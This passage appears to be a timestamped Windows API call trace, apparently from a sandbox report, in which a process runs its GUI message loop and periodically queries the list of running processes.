[0270.002] WaitMessage () returned 1 [0270.188] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0270.188] IsWindowUnicode (hWnd=0x1015c) returned 1 [0270.188] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0270.188] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0270.188] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0270.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fa0) returned 0x0 [0270.189] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0270.190] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0270.190] WaitMessage () returned 1 [0270.547] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0270.547] IsWindowUnicode (hWnd=0x10166) returned 1 [0270.547] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0270.547] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0270.547] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0270.548] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0270.548] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0270.548] WaitMessage () returned 1 [0271.077] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.077] IsWindowUnicode (hWnd=0x10166) returned 1 [0271.077] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.078] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0271.078] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0271.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.078] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.078] WaitMessage () returned 1 [0271.608] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.608] IsWindowUnicode (hWnd=0x10166) returned 1 [0271.608] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.608] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0271.608] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0271.608] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.608] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.608] WaitMessage () returned 1 [0271.848] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.848] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0xeb032f) returned 0x1 [0271.848] IsWindowUnicode (hWnd=0x1015e) returned 1 [0271.848] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.848] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0xeb032f) returned 0x1 [0271.848] SetCursor (hCursor=0x10003) returned 0x10003 [0271.848] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0271.849] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0271.849] _TrackMouseEvent (in: lpEventTrack=0x2aa14c0 | out: lpEventTrack=0x2aa14c0) returned 1 [0271.849] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0271.849] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0271.849] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x140149) returned 0x0 [0271.849] GetKeyState (nVirtKey=1) returned 0 [0271.849] GetKeyState (nVirtKey=2) returned 0 [0271.849] GetKeyState (nVirtKey=4) returned 0 [0271.849] GetKeyState (nVirtKey=5) returned 0 [0271.849] GetKeyState (nVirtKey=6) returned 0 [0271.849] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.849] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.849] WaitMessage () returned 1 [0271.959] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.959] IsWindowUnicode (hWnd=0x1015e) returned 1 [0271.959] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.960] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0271.960] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0271.960] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.960] IsWindowUnicode (hWnd=0x1015e) returned 1 [0271.960] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0271.960] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0271.960] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0271.960] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x140149) returned 0x0 [0271.960] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.960] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0271.960] WaitMessage () returned 1 [0272.154] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.154] IsWindowUnicode (hWnd=0x10166) returned 1 [0272.154] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.154] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0272.154] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0272.154] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.154] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.154] WaitMessage () returned 1 [0272.201] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.201] IsWindowUnicode (hWnd=0x1015c) returned 1 [0272.201] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.201] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0272.201] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0272.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f20) returned 0x0 [0272.209] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.209] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.209] WaitMessage () returned 1 [0272.684] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.684] IsWindowUnicode (hWnd=0x10166) returned 1 [0272.684] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.684] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0272.684] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0272.685] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.685] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.685] WaitMessage () returned 1 [0272.863] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.863] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.863] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.863] IsWindowUnicode (hWnd=0x1015e) returned 1 [0272.863] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0272.863] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0272.863] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0272.863] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0272.863] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.863] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0272.863] WaitMessage () returned 1 [0273.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0273.214] IsWindowUnicode (hWnd=0x10166) returned 1 [0273.214] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0273.214] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0273.214] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0273.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0273.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0273.215] WaitMessage () returned 1 [0273.745] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0273.745] IsWindowUnicode (hWnd=0x10166) returned 1 [0273.745] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0273.745] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0273.745] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0273.745] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0273.745] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0273.745] WaitMessage () returned 1 [0274.213] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0274.213] IsWindowUnicode (hWnd=0x1015c) returned 1 [0274.213] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0274.213] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0274.213] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0274.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f20) returned 0x0 [0274.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0274.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0274.214] WaitMessage () returned 1 [0274.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0274.278] IsWindowUnicode (hWnd=0x10166) returned 1 [0274.278] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0274.278] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0274.278] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0274.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0274.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0274.278] WaitMessage () returned 1 [0274.806] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0274.806] IsWindowUnicode (hWnd=0x10166) returned 1 [0274.806] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0274.806] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0274.806] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0274.806] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0274.806] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0274.806] WaitMessage () returned 1 [0275.365] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0275.365] IsWindowUnicode (hWnd=0x10166) returned 1 [0275.366] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0275.366] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0275.366] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0275.366] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0275.366] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0275.366] WaitMessage () returned 1 [0275.898] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0275.898] IsWindowUnicode (hWnd=0x10166) returned 1 [0275.904] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0275.904] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0275.904] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0275.905] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0275.905] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0275.905] WaitMessage () returned 1 [0276.226] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0276.226] IsWindowUnicode (hWnd=0x1015c) returned 1 [0276.226] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0276.226] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0276.226] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0276.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f20) returned 0x0 [0276.227] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0276.227] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0276.227] WaitMessage () returned 1 [0276.428] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0276.428] IsWindowUnicode (hWnd=0x10166) returned 1 [0276.428] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0276.428] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0276.428] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0276.428] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0276.428] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0276.428] WaitMessage () returned 1 [0276.959] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0276.959] IsWindowUnicode (hWnd=0x10166) returned 1 [0276.959] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0276.959] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0276.959] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0276.959] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0276.959] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0276.959] WaitMessage () returned 1 [0277.489] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0277.489] IsWindowUnicode (hWnd=0x10166) returned 1 [0277.489] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0277.489] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0277.489] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0277.489] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0277.489] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0277.489] WaitMessage () returned 1 [0278.019] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0278.019] IsWindowUnicode (hWnd=0x10166) returned 1 [0278.019] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0278.020] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0278.020] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0278.020] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0278.020] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0278.020] WaitMessage () returned 1 [0278.238] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0278.238] IsWindowUnicode (hWnd=0x1015c) returned 1 [0278.238] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0278.238] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0278.238] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0278.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6f20) returned 0x0 [0278.239] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0278.239] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0278.239] WaitMessage () returned 1 [0278.550] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0278.550] IsWindowUnicode (hWnd=0x10166) returned 1 [0278.550] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0278.550] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0278.550] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0278.550] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0278.550] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0278.550] WaitMessage () returned 1 [0279.080] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0279.080] IsWindowUnicode (hWnd=0x10166) returned 1 [0279.080] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0279.080] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0279.081] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0279.082] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0279.082] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0279.082] WaitMessage () returned 1 [0279.611] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 